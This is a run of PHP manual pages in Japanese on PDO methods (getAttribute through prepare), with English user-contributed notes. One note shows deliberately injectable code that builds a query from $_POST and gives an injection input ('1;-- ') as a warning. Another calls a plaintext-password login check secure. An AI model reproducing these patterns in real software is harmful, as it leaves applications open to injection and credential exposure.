Incidentally, the INSERT statement that I was issuing, if the record that I needed to update didn't yet exist, after the initial fetch() command worked perfectly.

Changing to fetchAll() fixed it.
roberto at spadim dot com dot br 18-Dec-2006 11:47
this function don't execute multi_query
to get it see SQLITE_EXEC comments there is an pereg function that get all queries and execute all then an return the last one
soletan at toxa dot de 29-Aug-2006 01:40
It's worth noting here, that - in addition to the hints given in docs up there - using prepare, bind and execute provides more benefits than multiply querying a statement: performance and security!

If you insert some binary data (e.g. image file) into database using INSERT INTO ... then it may boost performance of parsing your statement since it is kept small (a few bytes, only, while the image may be several MiBytes) and there is no need to escape/quote the file's binary data to become a proper string value.

And, finally and for example, if you want to get a more secure PHP application which isn't affectable by SQL injection attacks you _have to_ consider using prepare/execute on every statement containing data (like INSERTs or SELECTs with WHERE-clauses). Separating the statement code from related data using prepare, bind and execute is best method - fast and secure! You don't even need to escape/quote/format-check any data.
david at acz dot org 09-Feb-2006 04:39
This function cannot be used with any queries that return results.  This includes SELECT, OPTIMIZE TABLE, etc.


データベース接続の属性を取得する

  • ≪ PDO::exec
  • PDO::getAvailableDrivers ≫
  • PHP Manual
  • PDO
  • データベース接続の属性を取得する

PDO::getAttribute

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.0)

PDO::getAttribute — データベース接続の属性を取得する

説明

public PDO::getAttribute ( int $attribute ) : mixed

この関数はデータベース接続の属性値を返します。PDOStatement 属性を取得する場合、PDOStatement::getAttribute() を参照ください。

いくつかのデータベースもしくはドライバは、 データベース接続の属性の全てのをサポートしていないかも知れないことに 注意してください。

パラメータ

attribute

PDO_ATTR_* 定数の 1 つを指定します。 データベース接続に適用される定数は以下の通りです。

  • PDO::ATTR_AUTOCOMMIT
  • PDO::ATTR_CASE
  • PDO::ATTR_CLIENT_VERSION
  • PDO::ATTR_CONNECTION_STATUS
  • PDO::ATTR_DRIVER_NAME
  • PDO::ATTR_ERRMODE
  • PDO::ATTR_ORACLE_NULLS
  • PDO::ATTR_PERSISTENT
  • PDO::ATTR_PREFETCH
  • PDO::ATTR_SERVER_INFO
  • PDO::ATTR_SERVER_VERSION
  • PDO::ATTR_TIMEOUT

返り値

コールに成功した場合は要求された PDO 属性の値を返します。 コールに失敗した場合は null を返します。

例

例1 データベース接続の属性を取得する

<?php
$conn = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');
$attributes = array(
    "AUTOCOMMIT", "ERRMODE", "CASE", "CLIENT_VERSION", "CONNECTION_STATUS",
    "ORACLE_NULLS", "PERSISTENT", "PREFETCH", "SERVER_INFO", "SERVER_VERSION",
    "TIMEOUT"
);

foreach ($attributes as $val) {
    echo "PDO::ATTR_$val: ";
    echo $conn->getAttribute(constant("PDO::ATTR_$val")) . "\n";
}
?>

参考

  • PDO::setAttribute() - 属性を設定する
  • PDOStatement::getAttribute() - 文の属性を取得する
  • PDOStatement::setAttribute() - 文の属性を設定する

User Contributed Notes

grzegorz dot adam dot kowalski at gmail dot com 19-Mar-2020 02:32
On PHP 7.4.4 an unsuccessful call returns FALSE, not NULL.
Phil Hilton 15-Jun-2018 01:54
Better example that handles unsupported attributes gracefully:

<?php

$conn = new PDO( 'odbc:sample', 'db2inst1', 'ibmdb2' );
$conn->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );

$attributes = array(
    "AUTOCOMMIT", "ERRMODE", "CASE", "CLIENT_VERSION", "CONNECTION_STATUS",
    "ORACLE_NULLS", "PERSISTENT", "PREFETCH", "SERVER_INFO", "SERVER_VERSION",
    "TIMEOUT"
);

foreach ( $attributes as $val ) {
    echo "PDO::ATTR_$val: ";
    try {
        echo $conn->getAttribute( constant( "PDO::ATTR_$val" ) ) . "\n";
    } catch ( PDOException $e ) {
        echo $e->getMessage() . "\n";
    }
}

?>
756567406 at qq dot com 01-Dec-2016 02:13
Mysql on version  "5.6.29" not support "PDO::ATTR_PREFETCH"  and "PDO::ATTR_TIMEOUT"
mfinkyr at gmail dot com 30-Jan-2016 11:37
As of 30-Jan-2016, MariaDB on version "5.5.5-10.1.9-MariaDB" apparently  does not support: "PREFETCH" nor "TIMEOUT".
Robert Parham 02-Sep-2015 06:45
Oracle does not have the following attributes:

PDO::ATTR_CONNECTION_STATUS: SQLSTATE[IM001]: Driver does not support this function: driver does not support that attribute
PDO::ATTR_PREFETCH: SQLSTATE[IM001]: Driver does not support this function: driver does not support that attribute
PDO::ATTR_TIMEOUT: SQLSTATE[IM001]: Driver does not support this function: driver does not support that attribute

The rest work fine.
peter dot hopfgartner at r3-gis dot com 08-Sep-2009 01:44
The Oracle driver seems to not support PDO::getAttribute():

ociPHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE[IM001]: Driver does not support this function: driver does not support getting attributes' in ...


利用可能な PDO ドライバの配列を返す

  • ≪ PDO::getAttribute
  • PDO::inTransaction ≫
  • PHP Manual
  • PDO
  • 利用可能な PDO ドライバの配列を返す

PDO::getAvailableDrivers

pdo_drivers

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 1.0.3)

PDO::getAvailableDrivers -- pdo_drivers — 利用可能な PDO ドライバの配列を返す

説明

public static PDO::getAvailableDrivers ( ) : array
pdo_drivers ( ) : array

この関数は、PDO::__construct() の DSN パラメータで利用可能な全ての有効な PDO ドライバを返します。

返り値

PDO::getAvailableDrivers() は PDO ドライバ名の配列を返します。 もしドライバが何も利用できない場合、空の配列を返します。

例

例1 PDO::getAvailableDrivers() の例

<?php
print_r(PDO::getAvailableDrivers());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => mysql
    [1] => sqlite
)

User Contributed Notes

iabdullah 07-Aug-2014 07:31
Since the method is a static, one practice is using it to check whether a specific server database driver is available and configured correctly with PDO before establishing the connection:
<?php
try {
    if (!in_array("mysql",PDO::getAvailableDrivers(),TRUE))
    {
        throw new PDOException ("Cannot work without a proper database setting up");
    }
}
catch (PDOException $pdoEx)
{
    echo "Database Error .. Details :<br /> {$pdoEx->getMessage()}";
}
?>
or to check for any driver in general:
<?php
    if (empty(PDO::getAvailableDrivers()))
    {
        throw new PDOException ("PDO does not support any driver.");
    }
?>
faruk at pamukbilisim dot com 02-Feb-2014 05:13
/*
 * Coder : PamukBilisim
 * Date : 02/02/2014
 */
function getDriverList($ayrac = ",", $echo = true){

$ARR_DRIVERS = array();
$CountDrivers = 0;
foreach(PDO::getAvailableDrivers() AS $DRIVERS) :

    $CountDrivers++;
    $ARR_DRIVERS[$CountDrivers] = $DRIVERS;

endforeach;

$_GET_DRIVER_LIST = implode($ayrac, $ARR_DRIVERS);

if( $echo ): echo $_GET_DRIVER_LIST; else : return $_GET_DRIVER_LIST; endif;

}

Example :

echo "Kullanabilece?iniz pdo veritabanlar? : " . getDriverList(" , ", false);


トランザクション内かどうかを調べる

  • ≪ PDO::getAvailableDrivers
  • PDO::lastInsertId ≫
  • PHP Manual
  • PDO
  • トランザクション内かどうかを調べる

PDO::inTransaction

(PHP 5 >= 5.3.3, Bundled pdo_pgsql, PHP 7)

PDO::inTransaction — トランザクション内かどうかを調べる

説明

public PDO::inTransaction ( ) : bool

ドライバ内で、現在トランザクションがアクティブになっているかどうかを調べます。 このメソッドが機能するのは、トランザクションをサポートしているデータベースドライバのみです。

パラメータ

この関数にはパラメータはありません。

返り値

トランザクションが現在アクティブな場合に true、 そうでないときに false を返します。

User Contributed Notes

Anonymous 10-Aug-2020 07:27
In addition to what jlh says,
even with SQLite3 which automatically starts transaction,
inTransaction() only works after beginTransaction().

<?php
try{

    $pdo = new PDO('sqlite:test.sql3', null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
    var_dump($pdo->inTransaction());echo "<br>";    // bool(false) : before beginTransaction()
    $pdo->beginTransaction();
    var_dump($pdo->inTransaction());echo "<br>";    // bool(true)  : after beginTransaction()
    $pdo->rollBack();
    var_dump($pdo->inTransaction());echo "<br>";    // bool(false) : after commit() or rollBack()

}catch (PDOException $e){

    echo 'PDOException: ' . $e->getMessage();

}catch (Exception | ErrorException $e){

    var_dump($e);

}
jlh 05-Jun-2020 02:50
Important note: This will only detect whether a transaction has been started using beginTransaction(). It will not be able to detect transactions started by any other means, for example by executing "START TRANSACTION".
christopeh at xhaleera dot com 18-Nov-2013 10:26
On OS X 10.9 with PHP 5.4.10, this function seems to correctly return bool(true) or bool(false) and not anymore integers.
r. hanouwer 19-Apr-2012 06:12
Exceptions regarding existing active transactions were thrown while I was almost certain sufficient checks were in place.
However, I quickly found out that a strict boolean comparison to PDO::inTransaction() was failing.

Using var_dump I learned that this function was returning integers, not boolean values.

var_dump(PDO::inTransaction()); // int(1) || int(0)
ron korving 13-Jan-2011 09:20
This method actually seems to work fine on PHP5.3.5 (and probably a few older versions).


最後に挿入された行の ID あるいはシーケンスの値を返す

  • ≪ PDO::inTransaction
  • PDO::prepare ≫
  • PHP Manual
  • PDO
  • 最後に挿入された行の ID あるいはシーケンスの値を返す

PDO::lastInsertId

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::lastInsertId — 最後に挿入された行の ID あるいはシーケンスの値を返す

説明

public PDO::lastInsertId ( string $name = null ) : string

最後に挿入された行の ID、 あるいはシーケンスオブジェクトから次の値をを返します。 これは、構成しているドライバに依存します。例えば PDO_PGSQL の場合、name パラメータにシーケンスオブジェクト名を指定する必要があります。

注意:

このメソッドは、異なる PDO ドライバ間で意味のあるもしくは 一貫性のある結果を返さないかも知れません。 構成しているデータベースが自動インクリメントフィールド、 もしくはシーケンスの概念をサポートしていないかも知れないためです。

パラメータ

name

ID が返されるべきシーケンスオブジェクト名を指定します。

返り値

もし name パラメータにシーケンス名が指定されなかった場合、 PDO::lastInsertId() はデータベースに挿入された最後の行の行IDに相当する文字列を返します。

もし name パラメータにシーケンス名が指定された場合、 PDO::lastInsertId() は指定されたシーケンスオブジェクトから取得した最後の値に相当する 文字列を返します。

もし PDO ドライバがサポートしていない場合、 PDO::lastInsertId() は IM001 SQLSTATE を発生させます。

User Contributed Notes

nafsinvk at gmail dot com 25-Dec-2018 07:06
$dbh->commit();
print $dbh->lastInsertId();
The above will always return zero (0)
So it is important to call $dbh->lastInsertId();  before commiting transaction

the above should be modified as
print $dbh->lastInsertId();
$dbh->commit();
phackwer at gmail dot com 23-Jul-2018 07:41
On version 7.0.9 I've implemented lastInsertId without having to name the sequence for PostgreSQL (I've also have done it for 5.6.can'trememberthenumber, but I can't find the PR).

Can someone update the documentation about it?

Here is the Pull Request: https://github.com/php/php-src/pull/2014
toinenkayt (ta at ta) [iwonderr] gmail d 11-Dec-2017 12:26
To save time for some of you.

When using MySQL or MariaDB while inserting multiple rows in a single query (INSERT INTO table (a,b,c) VALUES (1,2,3), (2,3,4), ...) to a table with auto_increment column, PDO::lastInsertId does NOT return the autogenerated id of the last row. Instead, the FIRST generated id is returned. This may very well be explained by taking a look at MySQL and MariaDB's documentation.

Quotations from their respective documentations,

MySQL:
"With no argument, LAST_INSERT_ID() returns a BIGINT UNSIGNED (64-bit) value representing the first automatically generated value successfully inserted for an AUTO_INCREMENT column as a result of the most recently executed INSERT statement."

MariaDB:
"LAST_INSERT_ID() (no arguments) returns the first automatically generated value successfully inserted for an AUTO_INCREMENT column as a result of the most recently executed INSERT statement."

This is clearly not what lastInsertId's own documentation states. Hopefully this will save someone from debugging the cause of id mismatch.

tl;dr (MySQL | Mariadb) + multi row insert + PDO::lastInsertId = first autogenerated id

Behaviour tested using MariaDB 10.2.6 32-bit, PHP 5.6.31 32-bit and mysqlnd 5.0.11 running on windows 7.
timer timer five at gmail dot com 08-Feb-2017 05:26
About the connections created through classes

eg: db::SQL()->query();
then db::SQL()->lastInsertId();

it will create a new connection and will not return the last ID inserted. it is better to include a PDO connection file (or directly the logins) and work with it to get the last ID properly.

$db = new PDO(logins);
$db->query();
$db->lastInsertId();
enclaved 20-Dec-2016 11:23
WARNING for PostgreSQL users! In response to the comment by ed at hicklinslade dot com, who wrote:

...
$last_insert_id = $objPDO->lastInsertId("$strTable_id_seq);

This does appear to function as expected. What is a little unclear to me is whether this simply returns the current value of the sequence; if it does, this isn't a particularly reliable indicator as to the id of the record your code just inserted, especially if your site or application is especially high traffic.
...

NEVER ever use lastInsertId() with PostgreSQL sequences, ESPECIALLY when your application's insert/update load is high. PostgreSQL sequences are non-transactional (a natural design feature to avoid exclusive locking which otherwise produces unacceptable performance). This means that any concurrent transaction incrementing the same sequence will render the value returned by lastInsertId() invalid with respect to the last insert by your transaction. Example:

Transaction 1 inserts with nextval('some_seq') yielding 100;
Concurrent transaction 2 inserts with nextval('some_seq') yielding 101;
Transaction 1 calls lastInsertId(), expecting 100, BUT GETS 101.

This PDO method is braindead for PostgreSQL, always use INSERT ... RETURNING instead. Regards.
pippi langstrumpf 20-Jun-2016 12:18
beware when mixing auto-incremented and explicit IDs!
Given a fresh table "tbl", executing

insert into tbl values (0, 'kaeptn blaubaer'); --auto increment (-> 1)
insert into tbl values (16, 'pipi langstrumpf'); --explicit id (-> 16)
select LAST_INSERT_ID();

will return 1, which is not the value of the last insert. its the value from the last auto-increment insert!

(using mysql)
voilethht at gmail dot com 23-Sep-2015 08:49
In the Return Values part:

If the PDO driver does not support this capability, PDO::lastInsertId() triggers an IM001 SQLSTATE.
--------------------------------------------------------------------------------

So what's the solution for this....?
And I got this error:
-------------------------------------------------------------------------------
PHP Warning:  PDO::lastInsertId(): SQLSTATE[IM001]: Driver does not support this function: driver does not support lastInsertId() in xxxx
-------------------------------------------------------------------------------
I'm using IBM db2 odbc driver...
Anonymous 16-Sep-2014 07:19
Sorry to contradict Jonathon Hibbard's comment (http://php.net/manual/en/pdo.lastinsertid.php#82838), but my experiencie with INSERT INTO ... ON DUPLICATE KEY UPDATE is totally different; maybe it's due to PHP version (I'm on Windows, 5.4.7; I realize his post is 6 years old) or to the database engine (MySQL in my case).

Nevertheless, if I do an INSERT INTO ... ON DUPLICATE KEY UPDATE (something like id=id or equivalent, where the updated value is equal to the original one), this is what I'm getting:

- If the key didn't exist, the value is inserted, and lastInsertId() returns the expected id for the new row.

- If the row exists AND a value is updated, with lastInsertId() I get the ID of the updated row.

- If the row exists but NO value is updated, lastInsertId() returns 0.

That contradicts his example, where he assures that
"INSERT INTO city (`city`) VALUES ('Paris') ON DUPLICATE KEY UPDATE `city` = 'Paris'"
returns 2 (??) on lastInsertId() and that he expected to return 1 "since no records were inserted" (??).

Hope this helps someone.
mattbridges at me dot com 07-Oct-2013 08:33
@nour

You need to call lastInsertId before you commit
nick dot barton at libersys dot co dot uk 02-Jan-2013 02:34
Easiest solution I've found for MSSQL to obtain the last inserted ID is

<?php
$STH = $DBH->query("SELECT CAST(COALESCE(SCOPE_IDENTITY(), @@IDENTITY) AS int)");
$STH->execute();
$result = $STH->fetch();
print $result[0];
?>
noel dot mcavoy at gmail dot com 13-Sep-2012 07:23
This function is now compatible with the newer MS SQL driver. http://msdn.microsoft.com/en-us/library/ff628155(v=sql.105)
spark at limao dot com dot br 22-Feb-2012 01:24
Remember, if you use a transaction you should use lastInsertId BEFORE you commit
otherwise it will return 0
warezthebeef at gmail dot com 29-Aug-2011 11:04
If you're accessing MSSQL/SQL Server 2008 R2 (or higher) from Linux via FreeTDS there's a slightly neater way of getting the last insert ID than the solution(s) outlined below.

The specific SQL involved is outlined here:

http://msdn.microsoft.com/en-us/library/ms177564.aspx

So for example, with a table containing the two columns (product_id, product_name) where product_id is a uniqueidentifier or something similar you could do the following.

<?php

// Assume $dbh connection handle is already established

$sql = "INSERT INTO product (product_name) OUTPUT INSERTED.product_id VALUES (?)";

$sth = $dbh->prepare($sql);

$sth->execute(array('widgets'));

$temp = $sth->fetch(PDO::FETCH_ASSOC);

?>

Then $temp will contain an array like:

Array
(
    [product_id] => E1DA1CB0-676A-4CD9-A22C-90C9D4E81914
)

Just be warned that there are some issues relating to how uniqueidentifier columns are handled by PDO_DBLIB/FreeTDS depending on the TDS version you choose that have only been fixed as of PHP 5.3.7.

Information regarding this and the patch can be found here:

https://bugs.php.net/bug.php?id=54167
ruben02 at hotmail dot com 24-Feb-2011 07:48
I think I get a nice solution in Postgres to get the ID using the RETURNING that comes with Postgress since version 8.2. In the example below, I add to my insert clause the "returning" along with the primary key of my table, then after the execute, I do a fetch getting an array with the value of the last inserted id.

<?php
    public function insert($employee){

        $sqlQuery = "INSERT INTO employee(user_id,name,address,city) VALUES(:user_id,:name,:address,:city) RETURNING employee_id";

        $statement = $this->prepare($sqlQuery);

        $a ="2002-03-11 12:01AM" ;

        $statement->bindParam(":user_id", $employee->getUserId(), PDO::PARAM_INT);
        $statement->bindParam(":name", $employee->getName(), PDO::PARAM_STR);
        $statement->bindParam(":address", $employee->getAddress(), PDO::PARAM_STR);
        $statement->bindParam(":city", $employee->getCity(), PDO::PARAM_STR);
        $statement->execute();

        $result = $statement->fetch(PDO::FETCH_ASSOC);
        return $result["employee_id"];

    }
?>
info at nospam dot timreeves dot de 11-Dec-2008 12:03
Workaround for the fact that MSSQL does not provide lastInsertId().  This is locale-independent by design.

<?php
$mixRc = false;
try {
    // Issue a compound command, 2nd part outputs the inserted Id
    $strQuery =
    'INSERT INTO t1 (f1,f2) VALUES(v1,v2); SELECT @@IDENTITY AS mixLastId';
    // Yup, your eyes are ok, NOT exec but query!!!
    $objSth = $objDb->query($strQuery);
    $mixRc = (is_object($objSth) and $objSth->errorCode() == '00000');
}
catch (PDOException $objException) {
    $pdoMsg = $objException->getMessage();
    $pdoMsg = iconv("ISO-8859-1", "UTF-8", $pdoMsg);
    $strMessage = 'insertRecord: Failed ' .
                  $strQuery . ', Error Message: ' . $pdoMsg;
    doLog(__FILE__, __LINE__, $strMessage);
    throw new core_exception_database($strMessage);
}
if ($mixRc === false) return false;

// The compound command delivers a multi-rowset statement handle
// Move past the first (invalid) rowset from the INSERT command
$objSth->nextRowset();
// Pick up the first row of the rowset from "SELECT @@IDENTITY"
$rowTd = $objSth->fetch(PDO::FETCH_NUM);
if (!is_array($rowTd)) {
    doLog(__FILE__, __LINE__,
        'insertRecord: $objSth->fetch() returns %s', gettype($rowTd));
    return false;
}
$objSth->closeCursor();
$strLastRowId = trim($rowTd[0]); // trim() for trailing Nullbyte
// Integers are returned stringified, format depends on locale
// Generally ends with ",00" or ".00" - trim that off
$strLastRowId = preg_replace('/[,.]0+$/', '', $strLastRowId);
// Remove any remaining "." or "," for thousands
$strLastRowId = preg_replace('/[,.]/', '', $strLastRowId);
// A GUID, which contains no "," or ".", will be left unchanged
return $strLastRowId;
?>
Alfred Reinold Baudisch 06-Oct-2008 05:21
For PostgreSQL you can still use the old solution to return the last Id of an INSERT, selecting the currval of a table's id_sequence.

The code below shows a working function (which is easy adaptale into another class, etc).

<?php
// -------------------------
// Last Insert ID for PDO with PostgreSQL
// -------------------------
function pgsqlLastInsertId($sqlQuery, $pdoObject)
{
    // Checks if query is an insert and gets table name
    if( preg_match("/^INSERT[\t\n ]+INTO[\t\n ]+([a-z0-9\_\-]+)/is", $sqlQuery, $tablename) )
    {
        // Gets this table's last sequence value
        $query = "SELECT currval('" . $tablename[1] . "_id_seq') AS last_value";

        $temp_q_id = $pdoObject->prepare($query);
        $temp_q_id->execute();

        if($temp_q_id)
        {
            $temp_result = $temp_q_id->fetch(PDO::FETCH_ASSOC);
            return ( $temp_result ) ? $temp_result['last_value'] : false;
        }
    }

    return false;
}

?>

Example of use:

<?php
// ... connects to a PostgreSQL DB
$pdoObject = new PDO('pgsql:host=localhost;dbname=mydb', 'user', 'pass');

$sql = 'INSERT INTO table (column) VALUES (\'some_value\');';
$result = $pdoObject->prepare($sql);
$result->execute();

echo 'Last Insert ID: ' . pgsqlLastInsertId($sql, $pdoObject);

?>
Nour 15-Aug-2008 02:49
Beware of lastInsertId() when working with transactions in mysql. The following code returns 0 instead of the insert id.

<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');

    $stmt = $dbh->prepare("INSERT INTO test (name, email) VALUES(?,?)");

    try {
        $dbh->beginTransaction();
        $tmt->execute( array('user', 'user@example.com'));
        $dbh->commit();
        print $dbh->lastInsertId();
    } catch(PDOExecption $e) {
        $dbh->rollback();
        print "Error!: " . $e->getMessage() . "</br>";
    }
} catch( PDOExecption $e ) {
    print "Error!: " . $e->getMessage() . "</br>";
}
?>

When no exception is thrown, lastInsertId returns 0. However, if lastInsertId is called before calling commit, the right id is returned.
ed at hicklinslade dot com 26-May-2008 09:05
In response to Yonatan Ben-Nes, it does appear that using the latest versions of PHP 5.x and PostgreSQL 8.x, the driver will return a "meaningful" ID (rather than an OID), provided you pass the name of the corresponding sequence.

So, if you created a table as follows:

CREATE TABLE "user" (
"id" SERIAL PRIMARY KEY NOT NULL,
"username" character varying(32)
);

PostgreSQL will (by default) create a sequence called 'user_id_seq'.

You can then do something like:

$strTable = "user":
$last_insert_id = $objPDO->lastInsertId("$strTable_id_seq);

This does appear to function as expected. What is a little unclear to me is whether this simply returns the current value of the sequence; if it does, this isn't a particularly reliable indicator as to the id of the record your code just inserted, especially if your site or application is especially high traffic.
Xavier Arnaus 15-May-2008 10:28
As said by Dennis Du Kroger, in this situation the function will return 0.

But you can retrieve the last inserted Id executing a query asking for the function LAST_INSERT_ID() (at least in MySQL)

Try this:

($o_db is the declared adapter)

$last_id = $o_db->fetchAll('SELECT LAST_INSERT_ID() as last_id');

$last_id = intval($last_id[0]['last_id']);
Steven L 13-May-2008 12:47
This function is not available for MSSQL either.
Jonathon Hibbard 28-Apr-2008 10:17
It should be noted here at this function will not display the correct ID if issuing ON DUPLICATE KEY UPDATE.

Example on a new Row:
<?php
$sql = "INSERT INTO city (`city`) VALUES ('Paris') ON DUPLICATE KEY UPDATE `city` = 'Paris";
$dbh->query($sql);
echo $dbh->lastInsertId();
?>

Above displays: 1
Expected display: 1

Example on an existing row that gets updated:
<?php
$sql = "INSERT INTO city (`city`) VALUES ('Paris') ON DUPLICATE KEY UPDATE `city` = 'Paris";
$dbh->query($sql);
echo $dbh->lastInsertId();
?>

Above displays: 2
Expected display: 1 (since no new records were inserted)

You'll have to work around this.
Yonatan Ben-Nes 17-May-2007 09:05
It should be mentioned that this function DOES NOT retrieve the ID (Primary key) of the row but it's OID instead.

So if you use one of the latest PostgreSQL versions this function won't help you unless you add OID to the table specifically when you create it.
Dennis Du Kroger 22-Jan-2007 02:40
It should be noted that, at least for MySQL using InnoDB tables, with transactions PDO will report the last insert id as 0 after the commit, the real ids are only reported before committing.

(As a side note, MySQL keeps the ID number incremented after a rollback).
dave at dtracorp dot com 18-Aug-2006 05:34
in case anyone was wondering
something like

$val = 5;
$sql = "REPLACE table (column) VALUES (:val)";
$stmt = $dbh->prepare($sql);
$stmt->bindParam(':val', $val, PDO::PARAM_INT);
$stmt->execute();
$lastId = $dbh->lastInsertId();

will return the last inserted id, whether the record was replaced or simply inserted

the REPLACE syntax, simply inserts, or deletes > inserts
so lastInsertId() still works

refer to http://mysql.com/doc/refman/5.0/en/replace.html
for REPLACE usage
opik at opik dot ru 20-Dec-2005 06:10
Simple example:
<?php
try {
   $dbh = new PDO('mysql:host=localhost;dbname=test', 'root', 'passowd');

   $smf = $dbh->prepare("INSERT INTO test (`numer`) VALUES (?)");

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId().'<br />';

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId();

   $dbh = null;
} catch (PDOException $e) {
   print "Error!: " . $e->getMessage() . "<br/>";
   die();
}
?>


文を実行する準備を行い、文オブジェクトを返す

  • ≪ PDO::lastInsertId
  • PDO::query ≫
  • PHP Manual
  • PDO
  • 文を実行する準備を行い、文オブジェクトを返す

PDO::prepare

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::prepare — 文を実行する準備を行い、文オブジェクトを返す

説明

public PDO::prepare ( string $statement , array $driver_options = array() ) : PDOStatement

PDOStatement::execute() メソッドによって実行される SQL ステートメントを準備します。 ステートメントのテンプレートは、文が実行されるときに実際の値に置き換えられる 0 個もしくはそれ以上の名前 (:name) もしくは疑問符 (?) パラメータマークを含むことができます。 名前と疑問符パラメータを同一の ステートメントのテンプレート中で使用することはできません。 どちらか一方か、他のパラメータ形式を使用してください。 ユーザーの入力をバインドする際にはこれらのパラメータを使います。 ユーザーの入力を直接クエリに含めてはいけません。

PDOStatement::execute() をコールする際には、 文に渡すパラメータにはそれぞれ固有のパラメータマークを設定する必要があります。 エミュレーションモードが有効になっていない限り、 ひとつのプリペアドステートメントの中で、同じ名前のパラメータマークを 複数使用することはできません。

注意:

パラメータマーカーが表せるのは、データリテラルだけです。 リテラルの一部やキーワード、識別子、その他のクエリのパーツをパラメータにバインドすることはできません。 たとえば、SQL 文の IN() 句などで、 ひとつのパラメータに複数の値を割り当てることはできません。

異なるパラメータを用いて複数回実行されるような文に対し PDO::prepare() と PDOStatement::execute() をコールすることで、 ドライバがクライアントまたはサーバー側にクエリプランやメタ情報を キャッシュさせるよう調整するため、 アプリケーションのパフォーマンスを最適化します。また、 パラメータに手動でクオートする必要がなくなるので SQL インジェクション攻撃から保護する助けになります。

PDO は元々この機能をサポートしていないドライバに対して プリペアドステートメントとバインドパラメータをエミュレートします。 このため、ある形式をサポートしているがその他の形式をサポートしていない ドライバの場合、名前もしくは疑問符形式のパラメータを他の適当な値に 書き換えることも可能です。

注意: PHP 5.3.0 以降では、エミュレートされたプリペアドステートメントと、 名前パラメータやクエスチョンマークを書き換えるパーサは、[シングル|ダブル]クォート に対して標準とは異なるエスケープをサポートしています。 これによって、バックスラッシュのすぐ後にクォートで終了するクエリは そのままの形では認識されず、間違ったパラメータとして認識され、 実行されたときにプリペアドステートメントが失敗してしまいます。 回避策は、プリペアドステートメントのエミュレートをこの手のSQLクエリでは使わないようにしつつ、 ドライバによってサポートされているパラメータの書き換えを避けることです。

パラメータ

statement

これは対象のデータベースサーバーに対して有効な SQL 文のテンプレートでなければなりません。

driver_options

この配列は、このメソッドによって返される PDOStatement オブジェクトに対して 1 もしくはそれ以上の key=>value の組を含みます。 通常、スクロール可能なカーソルを要求するために PDO::ATTR_CURSOR に PDO::CURSOR_SCROLL を設定する場合に使用することになるでしょう。 いくつかのドライバには、準備する際に利用可能なドライバ固有の オプションがあります。

返り値

もしデータベースサーバーが正常に文を準備する場合、 PDO::prepare() は PDOStatement オブジェクトを返します。 もしデータベースサーバーが文を準備できなかった場合、 PDO::prepare() は false を返すか PDOException を発行します (エラー処理 の方法に依存します)。

注意:

プリペアドステートメントをエミュレートする際にデータベースサーバーとの通信は行いません。 したがって PDO::prepare() はステートメントのチェックを行いません。

例

例1 名前付きパラメータを用いて SQL ステートメントのテンプレートを準備する

<?php
/* 値の配列を渡してプリペアドステートメントを実行する */
$sql = 'SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour';
$sth = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
$sth->execute(array(':calories' => 150, ':colour' => 'red'));
$red = $sth->fetchAll();
$sth->execute(array(':calories' => 175, ':colour' => 'yellow'));
$yellow = $sth->fetchAll();
?>

例2 疑問符パラメータを用いて SQL ステートメントのテンプレートを準備する

<?php
/* 値の配列を渡してプリペアドステートメントを実行する */
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->execute(array(150, 'red'));
$red = $sth->fetchAll();
$sth->execute(array(175, 'yellow'));
$yellow = $sth->fetchAll();
?>

参考

  • PDO::exec() - SQL ステートメントを実行し、作用した行数を返す
  • PDO::query() - SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す
  • PDOStatement::execute() - プリペアドステートメントを実行する

User Contributed Notes

omidbahrami1990 at gmail dot com 06-Dec-2017 10:09
This Is A Secure Way To Sign in With pdo::prepare
--------------------------------------------------------
<?php
function secured_signin($username,$password)
{
try
{
$connection = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbusername, $dbpassword);
$connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$prepared = $connection->prepare("SELECT COUNT(`username`) FROM `users` WHERE `username` = :bp_username AND `password` = :bp_password ; ");
$prepared->bindParam(':bp_username', $username);
$prepared->bindParam(':bp_password', $password);
$prepared->execute();

if ($prepared->fetchColumn() == 1)
$result=true;

else
$result=false;
}

catch(PDOException $x) { die("Secured"); }

$prepared = null;
$connection = null;

return $result;
}
/*
$dbhost ---> DataBase IP Address
$dbusername ---> DataBase Username
$dbpassword ---> DataBase Password
$dbname ---> DataBase Name
*/
?>
machitgarha at outlook dot com 14-Jul-2017 06:32
Hello everyone.

I want to note that it doesn't matter where you are using a variable inside the query directly, that is not secure against SQL injections (unless performing a long security operation).

The following example is insecure against SQL injections:

<?php

$statement = $databaseConnection->prepare("SELECT * FROM `$_POST['table']` WHERE $_POST['search_for']=:search");
$statement->bindParam(":search", $search);
$search = 18; // For example
$statement->execute();

?>

If an attacker pass '1;-- ' as input named 'search_for', he is not a very bad attacker; because he didn't delete your data! In the above example, an attacker can do anything with connected database (unless you have restricted the connected user). Unfortunately, as Simon Le Pine mentioned, you cannot use prepared statements as other parts of a query; just can be used to search in indexes.

Hope this helps from loosing some data.
Sorry for my a bit weak English!
Mark Simon 11-Apr-2017 11:27
Many students are tempted to add single quotes around string place holders in the SQL statement, since that's what they normally do around strings in SQL and PHP.

I have to explain:

Quotes are not part of the string — they are used to construct a string in the coding language. If you are creating a string literal in SQL or PHP, then it must indeed be quoted. If the string has already been created, and is being passed on, then additional quotes would be wrong at best, and mis-interpreted at worst.

